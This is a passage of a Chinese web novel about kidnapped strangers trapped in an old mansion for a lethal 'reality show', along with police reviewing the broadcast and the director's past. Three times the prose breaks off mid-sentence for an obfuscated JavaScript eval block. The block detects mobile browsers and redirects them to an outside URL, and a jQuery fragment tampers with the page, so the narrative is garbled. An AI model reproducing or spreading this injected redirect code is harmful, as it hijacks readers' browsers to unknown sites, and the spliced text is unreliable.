顺着青石墙走到尽头,果然没错,拐弯后另有狭长的走道——若俯瞰,此处整体就是一个“U”型的、由三条走廊构成的空间,每条走廊上又各有三个房间。 林安宁率先迈步,走到06号房间门口,手握住门把:“时间不早了,我先走回房休息,明天再见。” “嘿嘿嘿,别着急!” 林安宁下意识停住动作,是谁在喊? 这一声中气十足,不是他们九人中任何一个人喊出来的,但缓过神,大家也听出来了。 是那位陌生又熟悉的导演“大人”。 声音突然从天花板上冒出来,跟个鬼似的,阴魂不散。 童无垠心中略有疑虑掠过——她观察过廊道的天花板,没有看到播放设备的影子,也不知追梦人的声音是从哪传下来的…… 追梦人语气调侃:“这么急着休息,我还没有说几点集合呢,你就‘明天再见’啦?” 他这话插的及时。 再晚一会儿林安宁就进屋了,点卡这么准,该不会一直没离开过监控画面吧...... 难道打算24小时不停歇地、监视他们的一举一动? 追梦人手头似乎又在搅弄茶杯一类的东西,发出“叮叮”的清脆碰击声,口中道:“明日9点,在大厅集合,准时开始第二场游戏!” 又“桀桀”怪笑:“千、万、别、迟、到。别怪我没提醒哦,迟到者,扣1分!” 等了会儿,不再有动静,追梦人应该是说完了。 林安宁僵在房门前,任谁发现自己的行为都在他人眼皮子底下,都不会好受,她深吸了口气,才又拧动把手,准备进屋。 “等等……” 这次是高清如叫住了她。 高清如一手捂唇,一手死死拽着莎露的衣摆,浑身颤抖:“我,我好像知道导演是谁......那个怪笑,之前我就隐隐觉得熟悉,刚刚他又笑,我就想起来了……” “他是……” 张木急忙制止:“停,停,等一下!”他手指天花板,目光中透露出警觉,面部表情显得十分紧张。 “别忘了,他听得到……” 高清如打住话头,声音直哆嗦:“对,对啊…..那我不说了?” 大瓜都到嘴边,就不说了?相顾无言,众人眼里都有几分不甘心。 他们可太想知道这变态导演是谁了。 现在不敢讨论,等到明天也是一样被监视的情况,就算能找到监控死角,也说不好有没有机会讨论——今天都如此凶险,第二日的游戏内容不说变本加厉,但可想而知不会简单到哪里去。 而且,说实话,对于明日高清如还能否健在,部分人是持怀疑态度的——她是明面上,所有人中最“娇弱”的,搞不好明天遇到点什么就…… 童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671534|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无垠沉吟片刻:“我觉得可以说。” 她说这话,并非基于其他人会有的、对高清如“生存方面”的忧虑,而是实实在在思考权衡后,认为现在说就是最优解。 童无垠顶着张木不认同的眼神,以及其余人的疑虑,表达自己的想法:“你们发现了吗,追梦人将自己投到屏幕上时,并没有遮住自己的脸。这说明……” 林志德抢答:“说明他不在乎,就没有打算瞒着我们!” ”嗯,他不怕我们认出他身份,这是第一点。还有就是,他曾说过‘这场真人秀会成为他最杰出的执导作品,所有人都会知道他、牢记他的名字’。” 童无垠略作停顿,斩钉截铁道:“虽然很反直觉,但追梦人其实希望被认出、被叫出身份。清如现在要说的话,也许正合他意——如果真人秀有朝一日真的会播出,这个片段又何尝不是他‘站在聚光灯下’的一场个人秀呢?” …… 就在旋转门前的那块空地,林安宁没急着进房间休息,而是默默加入众人,围成一个圈,席地而坐。 高清如站在圈中心的位置,这种被包围的感觉给了她足够的安全感。 廊间灯光大亮,她鼓起勇气:“导演他,我没记错的话,最后一次出现是在5年前……那时候他刚刚因为一部作品大热,趁势头要拍新综艺。” “当时如果不是一念之差,我差点也参加了他的新综艺。” 常真一敏锐地捕捉到高清如用词特殊:“差点?” 高清如点头,流露出庆幸之色:“对,差点,幸好没去……他5年前销声匿迹,是坐牢了。我听人说,是因为他拍摄手法激进,逼参演明星做博眼球的行为,结果把人给逼死了…..” 文自宇作回忆状:“你这么说我也有印象,好像确实有这么个人,在演艺圈名声很差,那个综艺出事后就不了了之,没想到多年后我们竟成了他新节目的嘉宾。” 高清如面如死灰:“别说了,当年逃过一劫,但真应了那句‘逃得过初一,逃不过十五’,最终还是落在他手里了……“ 常真一问:“你还记得导演的名字吗?” 林安宁疑惑:“问这个做什么,现在知道名字又没什么用处,难道真想替他做‘个人宣传’,好让他被人牢记?” “当然不是。”常真一屈膝而坐,背靠着墙,平静回应,“只是隐约记起件别的事情,可能和他有关,想确认下。” 高清如努力回忆,片刻后确认道:“朱远,导演叫朱远。” 说完看向常真一,却见他低头陷入沉思,神色冷然,询问的话就卡在了嗓子眼。 ……所以那件别的事,到底和追梦人有关吗? 这句话没来得及问出来。 庞洪拍拍屁股站起身,嘴里骂骂咧咧:“艹,知道这些还是没什么卵用!最多就搞明白一件事:今时不同往日,这龟儿子直接搞绑架,就算把我们逼死、玩死了,我们也没处说理,也不会有人来救我们!” 他后悔莫及:“md我个傻子,脑子坏了才会接这个真人秀邀约!最起码,当时接到邀约,在直播间多提两句也行啊?!这样说不定我停播以后,还能有粉丝帮我报案……” 高清如心有同感,也不知道她失踪后,经纪人王柏有没有发现。 当时只跟他提过一两句“真人秀”的事,怕是不容易将这两件事关联上啊,哎…… 心下戚戚焉,再抬头,竟发现气氛不太对劲。 怎么了? 他们几个为什么一脸震惊地盯着庞洪? 张木怀疑自己听错了,眼睛瞪得溜圆——知道自己差点被庞洪‘干掉’时都没露出过这种表情。 他一字一句地问:“庞洪,你刚说什么?你说,接到了真人秀邀约??” “干啥一惊一乍的……”庞洪被他们的反应吓得起了一身鸡皮疙瘩,搓着手臂,好半响才答: “是收到了邀约啊,你们什么情况?难道,你们没有收到……?” 14. Day 1「14」 有些话不曾问出口,是因为从未有过怀疑。 原以为大家虽然身份个性各不相同,相处上有点摩擦,但好歹处境一样,是穿同条裤子的难兄难弟。 结果,你现在告诉我,我们不一样?? 张木梗着脖子,眼镜从鼻梁歪斜着滑落到鼻尖也没顾上管,愣是保持着一脸复杂坐在原地的姿势没动。 脑瓜子嗡嗡响。 各种猜测在他脑海中闪回,越想越乱,直至变得愈发荒谬起来—— 什么鬼,怎么就有邀约了?不会就我特殊吧?千万别啊……之前怎么没发现他们不是被绑来的? 不对不对,这说不通,如果他们是自己来的,为什么醒来时也表现得一无所知、要死要活? ……难道在装?也不对……,在装为什么偏偏现在要告诉我呢,一直瞒着不是更合理吗? 算了,多想无益。 张木终于注意到滑落的眼镜,上手推了推,余光瞄到其他几人表情有些异样——也是一脸惊疑。 还有其他人......还好还好......他心下稍定,看来不是只他一人没收到邀约, 既然并非孤立无援,那也没什么好藏着掖着的了,张木直接挑明:“我从没收到过什么邀约。” 说完,暗暗观察庞洪反应,见他的诧异实在不似作伪,便又将目光投向围坐的众人,眼神中饱含疑问:“我能问问,所谓邀约是什么样吗?我们中有几人收到?” 这个话题,不讨论不打紧,一讨论对齐,就发现确有古怪之处,值得商榷。 受到邀约的一共有4个人,形式都是手机短信,且在收到后不久就失去意识,再次醒来已经在这儿了;而其余5人,没有收到过任何形式的邀请,也就是毫无预兆地“被选中”绑来、以失去意识的状态。 其中收到邀约的四人,是庞洪、高清如、林志德,以及童无垠。 未料到“没邀约”的人才是大多数,张木突然底气十足,大胆推测:“我觉得可以这样理解,收到邀约说明你们才是导演‘预定’的,是真人秀预期参演班底,而我们五个呢……” “会不会是缺人,被抓来凑数的?” 文自宇若有所思:“你的意思是,我们本来可能和真人秀没有任何关系,是被‘误伤’的?” 他手摩挲着下巴,看了眼高清如,似乎被说服了:“确实,这样就说得通了。其实听到要我们录制真人秀,我还疑惑过一秒——绑谁不好,要绑我这个小透明,又没有粉丝、又没名气。导演想要收视,确实应该找清如这样有粉丝基础的……” “哎!”高清如被提到,心里没有半点被“认可”的喜悦,文自宇这话虽明面上在夸,但又感觉味道不对,她不知道问题出在哪,想不出反驳的话,脸上隐有急色。 童无垠没有开口,但她听出了问题所在:“收到邀约与否”这个差异,有让众人分成两个阵营的趋势。 没收到的,认为收到的人才该来,自己是无辜受牵连;而收到的,认为这一切也不是自己主动招惹,且大家都是“被”选中的,都是受害人。 扪心自问,童无垠在此之前从未听说过什么惊悚真人秀——开玩笑,她都远离城市离群索居了——这会儿要是凭一条任何人都可以往她手机上单向发送的短信,就想“审判”她。 她不接受。 指向“收到邀约的四人”的矛头,在言语的你来我往中渐渐显露出锋芒。正当张木要张口说些什么,准备继续挥杆而上之际。 被常真一打断了。 “先不要贸然下结论。在搞清楚我们来此是否是‘受牵连’之前,需要理清的是另一件事:为什么要发邀约短信?” 张木拧着眉,不明白这有什么好问的,加之话头被打断,语气有些不耐:“为什么发短信?因为选中他们了!这很难理解吗?” 常真一头抵着墙,乌黑发丝略微有些凌乱,他漫不经心地将刘海往上一捋,露出一双桀骜内敛、清冷沉沉的眼瞳。只是转瞬间的对视,张木竟心里发虚,后知后觉意识到自己刚刚似乎语气不佳,手忙脚乱地连推了几下眼镜。 还好常真一似乎没有计较的意思。 他收回目光,微微侧身寻了个舒服的姿势,以手支颚,语调淡淡:“我觉得没那么简单。选中,也可以不发邀约短信,就像对待我们这样,直接绑来就好。” 张木之前仗着人多势众,又是他开的头来“领导”众人讨论邀约话题,因此有点飘飘然。这会儿注意到,也就压制了气性——不想太快扔掉之前特意营造的“老好人”形象,没急着抗辩,脑子跟着常真一的逻辑转了转。 这一转,发现好像……是有点道理。 “我想确认下,你们当时有没有回复,答应或是拒绝?”常真一这话是问的收到邀约的四人,视线看向的却是童无垠一人。 似乎只好奇她的回答。 童无垠抱膝坐在常真一的斜对面,长发披散在身侧,她对“邀约”这件事并没有发表太多看法,但两人视线交汇之时,彼此心领神会——他们都认为此时不简单,水很深。 最后发现很巧,收到邀约的四人对短信的处理方式都不相同—— 庞洪之前从没有参加过综艺节目,巴不得上去蹭蹭加点热度,因此收到后根本不挑直接答应了; 高清如最近事业上遇到困难,确实急于寻求新的工作机会,但也不会轻易接来路不明的通告,艺人需要爱惜羽毛,口碑一但崩了也许就再也无法挽回,因此她既没有答应也没有拒绝,而是提议进一步沟通; 林志德现实中确实是棋牌高手,曾在很多国际赛事上获得极高名次,是有粉丝群体的,但他并不喜欢抛头露面,更是对“惊悚”一类的题材毫无兴趣,因此选择了直接回拒绝; 而童无垠最干脆,什么也没有回复。 常真一点了点头:“也就是说,不管同不同意、回不回应,都被强制带来了这里。这就是我的疑问,为什么?既然不在乎收信人的意见,那为什么还要多此一举,发邀约?” 众人陷入沉思,无人说话。 沉默持续了一阵子,林安宁叹息:“这个问题重要吗?你要我们给出「很有逻辑」的回答,那确实说不上来,但也许你就是想复杂了……导演可能就想走个流程、想有点仪式感?” 莎露闻言附和:“我也同意。” 她对常真一还不太熟悉,又瞄了眼标签才记起他的名字:“常真一是吧,我觉得你的思考角度,确实有点东西,但追梦人看起来疯疯癫癫的样子,怕是他自己都没想过你能分析这么深,可能想邀请谁,就通知一下,仅此而已?” 她越说越笃定,还举了个例子:“就像电影里经常演的:怪盗偷东西前还要发一封预告函呢,那观众也没有深挖过‘为什么’要发,不是吗?” 说来说去,又被她绕回了之前张木提出的论点:“反正不管为什么要发邀约,至少‘收到的人,是导演想要的人’,这点肯定没错吧?!” 话已至此,莎露也被自己分析的一通给带跑偏了,满脑子都是“我在这儿是被牵连的,是无妄之灾”。 事实是什么在此刻已然不重要,情绪超越理智占据了高点。 在脸被硫酸毁容后,自哀与苦痛就在莎露的心底积聚成怨。潜意识里她明白这怪不得身边任何一个人,是自己不小心误触了机关,因此一直努力压抑自己,不表现出来。 可现在,无处发泄的情绪有了送上门的“出口”。 她双手紧紧握拳,指节因为用力而发白,颤抖着身体脱口而出:“该死的!为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671535|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍综艺,觉得光抓你们4个不够,拿我们这些无辜人来作配了呗?!别以为我不懂,综艺一般都会有套路、有剧本,我们这些没受邀的就是’炮灰’!用来衬托你们这些‘明星’的炮灰!!” 似乎是被自己说出的猜测吓到,莎露身体止不住地抖,粗糙的餐布磨得脸又痒又痛,她后怕不已:“这次是毁容,下次呢?” 莎露的突然爆发,令高清如担忧:“莎露,你别自己吓自己啊!你不是炮灰!” 莎露连连摇头:“你不懂,如果明着来我什么都不怕!我这辈子就没怕过!可清如你看啊,今天我又做错了什么呢?” 眼睛通红,隐有泪光眼眶中闪动,她避开视线不让人发现,声音却哽咽。 “我只是想试试看,调下音响音量,你说这有什么错呢?结果就被硫酸......!这和我以往遇到的困境都不同,不是通过力量或者搏击技巧可以解决的……” 莎露气势萎靡下来,极不愿意地承认:“说实话……我不知道之后该怎么办了。” 气氛沉滞,仿佛有沉重的巨石压在心头——既为莎露感到难过,也有物伤其类、为自己而忧心。 但总之,心里都不好受。 童无垠思虑再三,还是没有开口劝慰。 她其实不太擅长劝慰,尤其是在没有把握的情况下。 从装潢上,不难看出此处应是座颇有年代的古宅,能保留到现在仍未拆除,大概率位于某个偏僻、鲜有人烟的位置。他们与世隔绝,身边有隐藏在暗处的机关和危险,有太多未得到解答的疑惑、意味不明的现象。 她没有办法向任何人打包票说:“你不用担心,我们一定会没事的。” 泥菩萨过河自身难保。 既然做不到说出违心的承诺,那不如不说。 用行动尽力而为吧。 …… 走廊同之前做游戏的大厅一样,是个封闭的空间。 四下没有窗户,无法得见外界的光。 时间已不早,算来快将至凌晨,如果此时有扇窗能推开望出去,定是月明星稀的静谧深夜。 一副好光景——曾日日得见。 如今是失去它的第一天。 林安宁最先起身,简短道了句晚安、打开房门,进屋休憩去了。 她住的是06号,就在童无垠05号的隔壁,然后再过去的一间是04号——庞洪拉下脸,所有人都求了个遍,也没人同意换房间,他没得挑,只能闷闷不乐地住下。 三人的房间正对着旋转门,几步路的距离,其余人需要经过他们才能拐到自己房间的廊道上。 01、02、03号在左手边的廊道,相对的,07、08、09在右手边。 童无垠站在廊道口,目送每个人进入房间。 住在左侧房间的,依顺序分别是:张木、高清如、文自宇;右侧是常真一、林志德、莎露。 童无垠没有遮掩自己的意图,观察得光明正大,期间好几人开锁进门前回头,望见她炯然的目光吃了一惊,她便微微点头示意。 这时候“人品”的作用倒显露出来了。 今天的游戏她一直在做正面的事情,又是救了高清如一命、又提出隐藏关卡的解法并身体力行地消弭了两轮、也从无害人之举。 因而无人计较疑她,都回以一个点头或微笑、步入屋内。 唯有一人比较特别。 常真一察觉她目光后,回视了足足十秒,也不知在打量或思考什么,目光专注、若有所思,绕是童无垠也差点没绷住。 脸上有脏东西?或是……他有话想单独对我说? 这十秒是个谜。 最终,常真一到底没开口,也进屋了。 廊间只剩童无垠一人。 15. Day 1「终章」 3月15日,晚上23点50分,案侦大队三楼301会议室。 此时说晚又不算太晚。 灯光亮堂,二手烟缭绕——但会议室里的人对此都置若罔闻。 他们精神亢奋,注意力全面集中于记录直播中的重点内容和疑点,开展初步搜查。 丁芒是人员调查小组的成员,面庞青涩稚嫩,然而目光中拥有无限对工作的热情与能量,她动作利落地整理手头的材料,准备面向所有人做汇报。 百忙之中没来得及做PPT,就用记号笔写在几张A4纸上,贴白板上以作展示。 甫一开口,就吸引了坐在后排和山羊胡凑一起讨论得热烈的刘思睿——不说其他的,这位同龄人,单论表述逻辑,那真是一流的清晰、层层递进,让人忍不住投以关注。 丁芒没有过多陈词铺垫,直接抛出搜查结论:“因为时间关系,还未作深入调查,目前除了自称‘导演’的嫌犯,所有人员身份都得到了确认。” “暂时并未发现参与真人秀录制的九人之间、有任何明显的关联或私下联络,推论依据包括但不限于:手机中没有其他参与者号码、亲近家属互不相识、参与者学业及工作圈子无交叉,等。” “根据直播中截取到的面部画像,并结合他们领口标签上的疑似姓名,我们确认了「参与者」和各自「标签」上的姓名能对上号。也就是说,姓名是正确的。”说到此处,她顿了顿,纠正道:“除了一个人,NL。” “刚巧这位女生在之前被飞镖擦中肩膀时,有过短暂镜头特写,画像清晰度较高,数据库人像比对后很快定位了她的真实身份:她的姓名是‘童无垠’,23岁,并非本市居民,父母在海外生活、暂未能取得联系。” 对她的身份,丁芒一直拿不准,略带犹疑地补充:“的标签上不是「姓名」,而更像是「代号」,关于这一点仍存疑,因为,从她的个人履历上来看并没有什么特殊的地方……” NL。 刘思睿在纸上写下这两个字母,笔尖绕着字母画了几个圈,总觉得好像在哪里听说过。 正努力回忆,突然听到身边山羊胡开口:“你们真没听说过NL吗?这个代号前几年在网上很火。” 山羊胡坐在刘思睿右手边,笔记本上写得密密麻麻,都是他对于直播的记录以及分析,手上书写的动作直到“NL”被提起才停住。 这一出声,其他同事包括正汇报的丁芒,都齐刷刷地停下手中动作盯着山羊胡,他似乎不太习惯受人注目,耳廓瞬间泛红。 说话也变得磕磕绊绊:“嗯……NL啊!我是说……你们真不、不知道,那个在专门在网上推理陈年旧案的大神吗?!很厉害的,NL的推理基本没错过,好几个其、其他地方的案侦大队,根据NL提供的思路,破了超多案子!” 提到NL,山羊胡黑框眼镜下的眼中充满了崇拜:“NL是真厉害,帮了很多人。三年前突然消失,我还以为是出事了!没想到……她就是NL,第一次见到本人,竟然真是在她出事的时候……” “她不一定就是那个NL吧。” 有人不认同,反驳道:“标签大概率是嫌犯给的,想标什么标什么,如果按照反逻辑来盘,其他标签名字都对得上,可能就是想说服我们认下’她就是NL‘的陷阱!” “因此,她一定不是那个NL!更何况,她怎么看都不像啊……” 眼看两人要起争执,武江轻咳一声打断:“两位的看法都有一定道理,但介于还有其他事情需要优先讨论,因此,这件事就交给人员调查小组去负责,不在此时继续了。” 他拿起手边的矿泉水,拧开盖子喝了一口,润了润嗓子,看向会议室的另一边:“阿超,真人秀参与者们在22点多讨论过导演,也就是嫌犯的身份,根据他们提供的信息去调查,有进展了吗?” “我们需要知道他的个人背景、目前住址、最近动向、资产情况,以及,最近有没有人联系过他。” 被叫阿超的,是负责刑事案件的案侦人员,身材魁梧、面庞坚毅,态度也十分积极,很快应声:“报告武队,已有进展!” “很好!”武江不吝赞扬:“辛苦各位了,时间紧任务重,大家效率都相当可观。阿超,接下来就交给你汇报。” “是!”阿超看着电脑屏幕,调取资料:“嫌犯真名朱远,职业确实如参与者认出来的那样,是制作人和导演。他曾参与过多部电影和综艺制作,但无一例外都十分惨淡,直到5年前,他执导了他最后一部的一部作品:儿童福利院纪录片《真玛之家·每日实录》。” “纪录片一开始还是延续了‘扑街’的命运,直到某天,有网友深扒,发现了许多细思极恐的细节,怀疑在真玛之家中「发生过或正在发生命案」。因其推论有理有据,在网上不断发酵,最终有人报了案,案侦接到报案后前去调查,发现,确有其事……” 说到这里,阿超暂停了一下,武江皱眉,问:“确有其事,是确有命案发生吗?然后呢?” “是……确有命案。”阿超盯着资料,语气有些沉重:“这个真玛之家福利院,位于在雨鸣市,所以当时是由他们那边的案侦人员负责调查的,就在刚刚,他们给我发了当年的调查卷宗……” 投影上出现了一大堆图片,是真玛之家内部的场景,有大门、保安室、花园、儿童居住区、以及院长办公室。 看到照片,刘思睿感到胃部翻涌,一阵恶心。 每个场景里,都有死人,或者说,都发现了死人,死状诡异凄惨。 武江面色也沉了下来:“七、八……十一,死了整整十一个人?!” 阿超点头,不忍地道:“真玛之家,不仅如网上推论的那般有命案发生,而是实际上,情况远比以为的还要严重。” 武江:“刚刚说那个嫌犯导演,在真玛之家拍的纪录片,我记得标题是「每日实录」,他每天在那里拍,就没有发现吗?!” “他没有。” 阿超显然被带入了当时惨案的情景之中,忍不住骂道:“一开始讯问朱远时,他还遮遮掩掩,说什么‘我拍的时候真的都好好的,没有发现问题,和我无关’。” “但后来发现十一人当中,有几人的死亡时间就在他拍摄的期间,是重合的,一点觉察都没有根本说不过去!再三调查,才发现此人工作根本就三心二意。所谓的‘每日实录’,纪录片共12集、对应12天,实际一共就只拍摄了3天!他将1天的内容剪辑成4天……” 阿超厌恶地看着屏幕上朱远,也就是嫌犯的照片:“但命案,他应该确实不涉及,于是就被释放了。” 刘思睿没忍住举手提问:“他虽然干活不认真,偷工减料,但既然命案无关,那女歌手说他逼死了人是什么意思,是记错了吗?” 阿超摇头,说:“她没记错。那是发生在真玛之家以后的事情了。虽然与福利院的命案无关,但之后,他可能从中‘吸取了灵感’......” 刘思睿后背发凉:“……什么意思?” “也许是发现命案,能让他的作品被更多人关注吧。《真玛之家·每日实录》当时热度和讨论度极高,他获得了不少好处,现在名下仍持有的几套房产和车子,就是在当时靠这部纪录片的收益购置的。” “之后他就‘疯魔’了,在新开的一个综艺里,用生死胁迫演员,最终在录制期间把人给逼死了,遭到逮捕,直到半年前才释放。” 阿超话音刚落,直播画面消失,只留下一片漆黑与一行「主播有事去忙,等候下次开播~」的字样。 凌晨0点。 惊悚真人秀,下播了。 ……. 童无垠掏出钥匙开锁,打开05号房间的门。 还为曾踏入屋内,一股潮气霉味扑面而来,顺着鼻腔直冲天灵盖——仿佛一双泡在臭水沟里的袜子,捞起后没有经过通风晾晒就被塞进狭小密封的玻璃瓶,被时隔数月打开后,闻到的第一股味道。 这味儿冲得她连退数步。 童无垠捏住鼻子,站在空无一人的廊道里怀疑人生。 不是,其他人打开房门的时候不都好好的吗?开关进门关门,一套动作行云流水利落得很,她不信要是有这“气爆弹”在屋里,他们还能面不改色踏进去。 她怕是抽中“头彩”了。 做了好一番心理建设,童无垠踏入房间,意外的是,虽然嗅觉饱受折磨,但视觉上倒还挺入得眼。 屋内家具透着年代感却不陈旧,墙上用的和廊道一致的素雅棕黄色花草纹墙纸。 一张单人床靠墙摆放,洁白的床单平整地铺在上面,看起来还算舒适;角落里立着个衣柜,黑檀木材质散发着沉润的光泽,又是个价值不菲的家具;床边不远处,还配了一套桌椅,桌面上有个小闹钟,应该是给他们看时间和叫早用的。 桌子靠墙摆放,墙面上方挂着红绸布窗帘,长度刚好到桌面——作为房间中唯一的一抹暗红,色泽相当吸睛。 进门右手边,有一扇小门半开着,隐约可以看出是洗手间。 关门进屋,快速走了一圈,童无垠探头走进洗手间,发现里面竟有现代的马桶、淋浴设备、浴室灯,以及洗手台和配套的镜子——看着也像是近期改造的,按宅子的年代,该配上洗手盆和高脚架、浴桶和恭桶,才更搭调些。 但对童无垠来说,实用就很好,真要放个恭桶在里面……这个画面,她连想都不愿想。 站在镜子前,静静打量自己:披散的黑长直发,面色被冷白灯光映得刷白,嘴唇干燥发裂几无血色,恍若一个被抽干精气的女鬼。 嗯,一个美丽女鬼。 童无垠从不妄自菲薄,或者应该这么说:她喜欢实事求是。 对着镜子眨巴眨巴眼,纤长的睫毛在眼睑下方投出小刷子似的阴影,童无垠瞅着自己这幅“虚容”,不禁拧眉忧虑: 在失去意识后,自己到底遭遇了些什么? 为什么一副被榨干的样子? 迟疑片刻,低头闻了闻,还好,身上没有什么明显的酸臭味道——刚刚开衣柜看过,里面空空如也没有换洗衣物——所以身上这一套,明天还得将就着继续穿。 而且…… 没有外人在场,她盯着衣领处的标签,毫不掩饰眼中的嫌恶之情。 这标签,好似农场奶牛身上、打标时会用到的那种盖戳。 在房间里放着一个大衣柜占位置,却不配衣物,追梦人是不是要的就是让你别无选择,不得不穿着这身将人“标签化”的服装,参加他的一场又一场游戏。 上手用力扣了扣,没扣掉,标签纹丝不动。 标签是缝在衣领上的,当然扣不掉,童无垠知道。但她非常非常讨厌、从看见的第一眼开始,就非常讨厌这标签。 她必须得做点什么来表达“反抗”,什么也不做,会让她浑身难受。 …… 简单洗了把脸,童无垠处洗手间出来时顺便带上了门,然后便快步朝着书桌走去——那红窗帘令人分外在意。 让人自然而然的怀疑,莫不是有窗户藏在后面。 走过去一把拉开。 帘子之后,是一个四四方方的木框雕花窗,雕工精细,花纹栩栩如生。但这窗再好看都没有用,因为它无论怎样使劲都推不开,是个假窗户。 又是追梦人的恶趣味…… 让你有一瞬间的希望,再摧毁,显得心生希望的人像个傻子。 童无垠重重合上窗帘,压住心头火起——气坏了伤的是自己,赶快干完正事休息,想想就知道明天必是一场恶仗。 思及此,扭头从上到下细细打量整个卧房。 在外面大厅和廊道里,他们的一举一动都处在监视之下,那这里呢?一个理论上是“私人空间”的卧房,会成为森冷古宅中的一片净土、追梦人掌控下的盲区、成为那个例外吗? 答案是否定的。 童无垠视线划过衣柜,稍顷,又转回,定格在衣柜把手上。 那把手为铜质,有些氧化了,导致色块颜色斑驳不一、黑绿驳杂。把手整体造型独特,是个细长的宝瓶,“瓶身”嵌了颗米粒大小的圆亮黑宝石,混在氧化的漆黑底色之中,和谐且不显眼。 抄起椅子腿猛砸把手,“砰砰——砰砰——”,砸了半响、废了牛劲,终于将“黑宝石”扣了下来。 脑袋也因为用力过度而缺氧眩晕。童无垠扶着衣柜门坐在地上轻轻晃了晃脑袋,稍微缓过来些,就立刻检查躺在手心里的“黑宝石”。 没错,“黑宝石”是针孔摄像头。 虽早有预料,童无垠还是一阵恶寒。 能这么快定位这个摄像头的位置,不是因为外形——毕竟它小小黑黑的、相当不起眼。 而是靠逆推。 “黑宝石”正对着单人床,处那个位置上拍过去,意味着睡觉之人的行为举止,无论什么细节,都逃不过它的捕捉。 这之后,童无垠又草草查看了其余地方,没发现更多的摄像头,但她知道不是没有了,而是自己还没找到。 追梦人不只会放一个摄像头。 但身体乏力异常,体力已不足以支撑她继续做细致的搜查和高强度的脑力活动——动脑是很费氧气的。 童无垠手臂虚浮地抬起摸了把额头,摸到一手冷汗,这才突然想起自己忘了吃饭。 之前游戏大厅里的餐桌上有好些丰盛吃食,当时还想着游戏结算完后,管它三七二十一,怎么也得吃两口补充补充体力——因为他们没有资本去怀疑食物会不会有毒。 人是铁饭是钢。 被困在古宅里,就算今天挺住不吃饭,明天也得吃,否则迟早饿死。 结果今晚状况一个接一个,竟然就给岔开、忘记了…… 又想起通过旋转门来到廊道后特意试过,那门并未重新锁死,理论上可以返回随时大厅。 童无垠看了眼桌上的闹钟,此时已经是凌晨1点。 要不要……去看看?看看吃的还在不在。 ...... 大厅里的烛火灭了,曾被他们点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671536|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮过的两盏灯也暗了下去,不知是断电还是被关掉了。 黑暗稠如泼墨,有种空间在朝着四周无限延伸扩展的错觉,睁着眼睛置身其中,恍若身处巨大的虚无。 常真一凭借着记忆找到了餐桌的方位。由于眼睛看不见,他伸出手、沿着桌角缓缓向中间探去,然而,伸出去好几十厘米,却什么也没有触碰到。 餐桌上空了。 桌布、餐具碗筷、水杯、食物餐盘,所有的东西都不在了。 是谁拿走了? 就在这时,常真一突然听到身侧传来若有似无的衣服摩擦声,沙沙作响,这里,还有其他人在。这么晚了,会是谁,是收走东西的那个人吗? 动静转瞬即逝,消失快得像是错觉。 常真一意识到不对,那人应该是发现自己制造出了声响,停下了动作,刻意收敛避免被他发现。 可谁会害怕被他发现?还如此警觉,只发出细微动静后便立刻收住,让他无法判断出那人确切的位置——只大致锁定在身后某处。 不像是其余嘉宾中的任何一人。 常真一微微眯起双眼,无人得见其中的寒意与冰冷,他暗自留意周围的一切风吹草动,身体微微前倾,肌肉紧绷,如同一只蓄势待发的猎豹,准备好面对任何突如其来的袭击——直觉告诉他,有人正在黑暗中盯着、暗暗蛰伏,伺机而动。 两人都按兵不动,比谁先沉不住气。 终于,那人率先出手,常真一察觉到身后一股劲风迅疾袭来,直奔后心,速度快得让人几乎来不及反应。但他早有准备,瞬间做出了防御的动作,两人瞬间交上手,几息之间连过数招,在黑暗中激荡起无形的波澜。 来人身材高大,在视野的一片漆黑中,如更黑更深的阴影罩顶,压迫感极强。 常真一结结实实地接下他的一击,将攻势牢牢阻挡在身前,但手臂处传来力量极大,让他也不禁心惊——换做一般人,估计会被这一拳击飞都不夸张。 那人没料到常真一实力远远超出预期,忍不住惊诧出声:“噢?” 是个粗旷的男声,常真一极快地做出了判断:他从未听过这个声音,既不是其他嘉宾的,也不是追梦人的。 这个古宅里,还有其他人在。 …… 实在是饿得发晕。 童无垠耳朵趴在房间门板上,屏息倾听,没听出什么异样,思筹再三,还是开了门。 待看清门外景象,童无垠罕见地露出了不知所措的表情,嘴唇发抖,一时忘了自己体力不支的事情,朝着旋转门的方向狂奔。 常真一站在旋转门前,右手抵在门上,上衣布满大片血迹,血迹呈喷溅状,一路从腰部溅到了他的半边脸颊上。 他用手背抹了下脸,血点糊成一团。 童无垠奔至他身侧不远停住,胸腔发痒,是跑得太狠了。缺氧的大脑在此刻恢复运转,她看着他身上血迹,心想只有喷溅状,没有渗出的—— 这些不是他的血。 ……那这些是谁的血? 